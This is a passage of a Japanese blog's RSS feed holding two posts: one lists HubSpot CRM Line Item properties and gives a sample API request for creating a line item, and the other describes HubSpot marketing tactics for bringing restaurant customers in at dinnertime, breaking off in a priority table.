&lt;th&gt;内部名&lt;/th&gt;
&lt;th&gt;表示名&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;th&gt;備考&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;名前&lt;/td&gt;
&lt;td&gt;商品項目の名前&lt;/td&gt;
&lt;td&gt;必須&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;説明&lt;/td&gt;
&lt;td&gt;製品の詳細な説明&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_sku&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SKU&lt;/td&gt;
&lt;td&gt;製品の固有識別子&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_product_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;製品 ID&lt;/td&gt;
&lt;td&gt;関連する製品ライブラリの ID&lt;/td&gt;
&lt;td&gt;製品から作成時に指定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_object_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;レコード ID&lt;/td&gt;
&lt;td&gt;Line Item の一意な ID&lt;/td&gt;
&lt;td&gt;自動設定・読み取り専用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_product_type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;製品タイプ&lt;/td&gt;
&lt;td&gt;&lt;code&gt;INVENTORY&lt;/code&gt;（在庫）/ &lt;code&gt;NON_INVENTORY&lt;/code&gt;（非在庫）/ &lt;code&gt;SERVICE&lt;/code&gt;（サービス）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;製品の Web ページ URL&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_images&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;画像 URL&lt;/td&gt;
&lt;td&gt;製品画像の URL&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="価格数量"&gt;価格・数量&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内部名&lt;/th&gt;
&lt;th&gt;表示名&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;th&gt;備考&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;quantity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数量&lt;/td&gt;
&lt;td&gt;含まれる製品の単位数&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;price&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;単価&lt;/td&gt;
&lt;td&gt;購入者向けの製品単価&lt;/td&gt;
&lt;td&gt;負の値は不可&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;amount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;正価（Net price）&lt;/td&gt;
&lt;td&gt;合計金額（数量 × 単価）&lt;/td&gt;
&lt;td&gt;計算フィールド&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_cost_of_goods_sold&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;売上原価&lt;/td&gt;
&lt;td&gt;製品の原価&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_line_item_currency_code&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通貨&lt;/td&gt;
&lt;td&gt;通貨コード（例: &lt;code&gt;JPY&lt;/code&gt;, &lt;code&gt;USD&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_pricing_model&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;価格モデル&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FLAT&lt;/code&gt;（定額）または &lt;code&gt;TIERED&lt;/code&gt;（段階制）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_effective_unit_price&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;有効単価&lt;/td&gt;
&lt;td&gt;段階制価格の場合に適用される実効単価&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="割引"&gt;割引&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内部名&lt;/th&gt;
&lt;th&gt;表示名&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;th&gt;備考&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_discount_percentage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;割引率&lt;/td&gt;
&lt;td&gt;適用される割引の割合（%）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;discount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;単位割引額&lt;/td&gt;
&lt;td&gt;単位あたりの割引金額&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_total_discount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;合計割引額&lt;/td&gt;
&lt;td&gt;割引率と割引金額を考慮した総割引額&lt;/td&gt;
&lt;td&gt;計算フィールド&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_pre_discount_amount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;割引前金額&lt;/td&gt;
&lt;td&gt;割引適用前の金額&lt;/td&gt;
&lt;td&gt;計算フィールド&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="税金"&gt;税金&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内部名&lt;/th&gt;
&lt;th&gt;表示名&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;th&gt;備考&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_tax_rate_group_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;税率グループ ID&lt;/td&gt;
&lt;td&gt;適用する税率の識別子&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;税額&lt;/td&gt;
&lt;td&gt;適用される税金額&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_tax_amount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;計算税額&lt;/td&gt;
&lt;td&gt;税率から自動計算された税額&lt;/td&gt;
&lt;td&gt;計算フィールド&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_tax_rate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;税率&lt;/td&gt;
&lt;td&gt;適用される税率（%）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_after_tax_amount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;税込金額&lt;/td&gt;
&lt;td&gt;税額適用後の金額&lt;/td&gt;
&lt;td&gt;計算フィールド&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="定期請求recurring-billing"&gt;定期請求（Recurring Billing）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内部名&lt;/th&gt;
&lt;th&gt;表示名&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;th&gt;備考&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recurringbillingfrequency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求頻度&lt;/td&gt;
&lt;td&gt;定期請求の頻度（&lt;code&gt;monthly&lt;/code&gt;, &lt;code&gt;quarterly&lt;/code&gt;, &lt;code&gt;annually&lt;/code&gt; など）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_recurring_billing_period&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求期間&lt;/td&gt;
&lt;td&gt;ISO-8601 期間形式（例: &lt;code&gt;P12M&lt;/code&gt; = 12ヶ月, &lt;code&gt;P1Y&lt;/code&gt; = 1年）&lt;/td&gt;
&lt;td&gt;PnYnMnD / PnW 形式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_recurring_billing_start_date&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求開始日&lt;/td&gt;
&lt;td&gt;定期請求の開始日&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_recurring_billing_end_date&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求終了日&lt;/td&gt;
&lt;td&gt;定期請求の終了日&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_recurring_billing_terms&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求条件&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FIXED&lt;/code&gt;（固定回数）または &lt;code&gt;AUTO_RENEW&lt;/code&gt;（自動更新）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_recurring_billing_number_of_payments&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;支払い回数&lt;/td&gt;
&lt;td&gt;固定回数請求の場合の支払い総数&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_billing_start_delay_days&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求開始遅延（日）&lt;/td&gt;
&lt;td&gt;請求開始を遅延させる日数&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_billing_start_delay_months&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求開始遅延（月）&lt;/td&gt;
&lt;td&gt;請求開始を遅延させる月数&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_billing_start_delay_type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;請求遅延タイプ&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FIXED_DATE&lt;/code&gt;（固定日）または &lt;code&gt;DELAYED_PERIOD&lt;/code&gt;（遅延期間）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_term_in_months&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;期間（月）&lt;/td&gt;
&lt;td&gt;契約期間の月数&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="収益指標計算フィールド"&gt;収益指標（計算フィールド）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内部名&lt;/th&gt;
&lt;th&gt;表示名&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_tcv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;総契約額（TCV）&lt;/td&gt;
&lt;td&gt;Total Contract Value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_acv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;年間契約額（ACV）&lt;/td&gt;
&lt;td&gt;Annual Contract Value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_arr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;年間経常収益（ARR）&lt;/td&gt;
&lt;td&gt;Annual Recurring Revenue&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_mrr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;月間経常収益（MRR）&lt;/td&gt;
&lt;td&gt;Monthly Recurring Revenue&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_margin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;マージン&lt;/td&gt;
&lt;td&gt;売上 − 売上原価&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_margin_tcv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;マージン TCV&lt;/td&gt;
&lt;td&gt;TCV − 売上原価合計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_margin_acv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;マージン ACV&lt;/td&gt;
&lt;td&gt;ACV − 売上原価（年間）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_margin_arr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;マージン ARR&lt;/td&gt;
&lt;td&gt;ARR − 売上原価（年間）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_margin_mrr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;マージン MRR&lt;/td&gt;
&lt;td&gt;MRR − 売上原価（月間）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="システムプロパティ読み取り専用"&gt;システムプロパティ（読み取り専用）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;内部名&lt;/th&gt;
&lt;th&gt;表示名&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;createdate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;作成日時&lt;/td&gt;
&lt;td&gt;レコード作成日時&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_lastmodifieddate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最終更新日時&lt;/td&gt;
&lt;td&gt;プロパティが最後に変更された日時&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_created_by_user_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;作成者ユーザー ID&lt;/td&gt;
&lt;td&gt;レコードを作成したユーザー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_updated_by_user_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;更新者ユーザー ID&lt;/td&gt;
&lt;td&gt;最後に更新したユーザー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_object_source&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;レコードソース&lt;/td&gt;
&lt;td&gt;レコードの作成方法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hs_was_imported&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;インポートフラグ&lt;/td&gt;
&lt;td&gt;インポートによって作成されたかどうか&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="プロパティの種別"&gt;プロパティの種別&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;必須&lt;/strong&gt;: &lt;code&gt;name&lt;/code&gt; のみが作成時に必須。ただし &lt;code&gt;price&lt;/code&gt; と &lt;code&gt;quantity&lt;/code&gt; も通常は指定する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;計算フィールド&lt;/strong&gt;: &lt;code&gt;amount&lt;/code&gt;, &lt;code&gt;hs_total_discount&lt;/code&gt;, &lt;code&gt;hs_pre_discount_amount&lt;/code&gt;, &lt;code&gt;hs_after_tax_amount&lt;/code&gt;, &lt;code&gt;hs_tax_amount&lt;/code&gt;, 収益指標（TCV/ACV/ARR/MRR）は HubSpot が自動計算する。API から直接設定はできない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;読み取り専用&lt;/strong&gt;: システムプロパティ（作成日時、更新日時、ユーザー ID 等）は自動設定される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;price の制約&lt;/strong&gt;: 負の値を設定できない&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="line-item-の作成例"&gt;Line Item の作成例&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;POST&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;/crm/v&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/objects/line_items&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;properties&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Web開発サービス&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;hs_product_id&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;12345&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;quantity&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;price&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;500000&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;取引や見積もりへの関連付けを同時に行う場合は、後述の「関連付け」セクションを参照してください。&lt;/p&gt;</description></item><item><title>HubSpotを活用したレストランのディナータイム集客戦略</title><link>https://hdknr.github.io/blogs/posts/2026/03/hubspot%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%9F%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E3%83%87%E3%82%A3%E3%83%8A%E3%83%BC%E3%82%BF%E3%82%A4%E3%83%A0%E9%9B%86%E5%AE%A2%E6%88%A6%E7%95%A5/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/hubspot%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%9F%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E3%83%87%E3%82%A3%E3%83%8A%E3%83%BC%E3%82%BF%E3%82%A4%E3%83%A0%E9%9B%86%E5%AE%A2%E6%88%A6%E7%95%A5/</guid><description>&lt;p&gt;HubSpotを活用してディナータイムの集客を強化するのは、非常に理にかなった戦略です。レストランの場合、**「適切なタイミングで、適切な人に、美味しそうな視覚情報を届ける」**のが鉄則です。&lt;/p&gt;
&lt;p&gt;MA（マーケティングオートメーション）の強みを活かした、具体的で即効性のある施策を紹介します。&lt;/p&gt;
&lt;h2 id="1-顧客リストのセグメント化とパーソナライズ"&gt;1. 顧客リストのセグメント化とパーソナライズ&lt;/h2&gt;
&lt;p&gt;「夜の利用者」を増やすには、まず「誰が夜に来てくれる可能性が高いか」を分類します。&lt;/p&gt;
&lt;h3 id="ランチのみ利用者の抽出"&gt;「ランチのみ利用者」の抽出&lt;/h3&gt;
&lt;p&gt;HubSpotのコンタクト管理で、過去の予約データからランチ利用のみの顧客をリスト化します。「ランチとは違う夜の特別な雰囲気」を訴求するメールを自動送信します。&lt;/p&gt;
&lt;h3 id="記念日フラグの活用"&gt;記念日フラグの活用&lt;/h3&gt;
&lt;p&gt;誕生日や結婚記念日の1ヶ月前に、「ディナー限定の乾杯スパークリングサービス」などの特典付きワークフローを起動させます。&lt;/p&gt;
&lt;h2 id="2-行動ログに基づいた空腹時のプッシュ"&gt;2. 行動ログに基づいた「空腹時」のプッシュ&lt;/h2&gt;
&lt;p&gt;HubSpotのトラッキング機能を使い、顧客がWebサイトを閲覧した瞬間にアプローチします。&lt;/p&gt;
&lt;h3 id="夕方の特定ページ閲覧をトリガーに"&gt;夕方の特定ページ閲覧をトリガーに&lt;/h3&gt;
&lt;p&gt;16:00〜18:00の間にメニューページや予約ページを見たが予約に至らなかったユーザーに対し、**「本日空席あり。今すぐの予約でデザート1品サービス」**といった内容を、LINE（連携時）やメールで即座に送ります。&lt;/p&gt;
&lt;p&gt;HubSpotではカスタムイベントと行動トリガーを組み合わせたワークフローを構築でき、ページ閲覧をトリガーとした自動配信が可能です。行動トリガーメールは、通常の一斉配信メールと比較して約50%高い開封率が期待できるとされています。&lt;/p&gt;
&lt;h2 id="3-シーン別のコンテンツ作成とリードマグネット"&gt;3. シーン別のコンテンツ作成とリードマグネット&lt;/h2&gt;
&lt;p&gt;「夜に行こう」と思うきっかけをWebサイト上に作ります。&lt;/p&gt;
&lt;h3 id="利用シーン別のランディングページ-lp"&gt;利用シーン別のランディングページ (LP)&lt;/h3&gt;
&lt;p&gt;「接待・会食」「大人のデート」「自分へのご褒美」など、目的別のLPを用意します。HubSpotのCMS Hubを使えば、これらのページを簡単に作成・管理できます。&lt;/p&gt;
&lt;h3 id="ebookクーポンの配布"&gt;eBook/クーポンの配布&lt;/h3&gt;
&lt;p&gt;「ソムリエが選ぶ、お肉料理に合うワインガイド」などの資料ダウンロードと引き換えにメールアドレスを獲得し、そこからディナー誘導のステップメールを流します。&lt;/p&gt;
&lt;h2 id="4-hubspotとsns広告の連携"&gt;4. HubSpotとSNS・広告の連携&lt;/h2&gt;
&lt;h3 id="リターゲティング広告"&gt;リターゲティング広告&lt;/h3&gt;
&lt;p&gt;Webサイトのディナーメニューを見たユーザーに対して、Instagramで「夜のシズル感溢れる動画広告」を配信します。HubSpotの広告管理ツールを通じて、Facebook/Instagram広告との連携が可能です。&lt;/p&gt;
&lt;h3 id="google-ビジネスプロフィールとの連動"&gt;Google ビジネスプロフィールとの連動&lt;/h3&gt;
&lt;p&gt;HubSpotで収集したポジティブなレビューをGoogleに反映させる仕組みを作り、「夜の評判」を可視化して新規客の安心感を高めます。&lt;/p&gt;
&lt;h2 id="施策の優先順位"&gt;施策の優先順位&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;施策内容&lt;/th&gt;
&lt;th style="text-align: center"&gt;難易度&lt;/th&gt;
&lt;th style="text-align: center"&gt;期待効果&lt;/th&gt;
&lt;th style="text-align: left"&gt;必要なツール&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;記念日自動メール&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: center"&gt;低&lt;/td&gt;
&lt;td style="text-align: center"&gt;高&lt;/td&gt;
&lt;td style="text-align: left"&gt;HubSpot ワークフロー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;ランチ客へのディナー訴求&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: center"&gt;低&lt;/td&gt;
&lt;td style="text-align: center"&gt;中&lt;/td&gt;
&lt;td style="text-align: left"&gt;リストセグメント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;閲覧行動ベースのリアルタイム配信&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: center"&gt;中&lt;/td&gt;
&lt;td style="text-align: center"&gt;高&lt;/td&gt;
&lt;td style="text-align: left"&gt;トラッキングコード + ワークフロー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;シーン別LP作成&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: center"&gt;中&lt;/td&gt;
&lt;td style="text-align: center"&gt;中&lt;/td&gt;
&lt;td style="text-align: left"&gt;CMS Hub&lt;/td&gt;
&lt;/tr&gt;
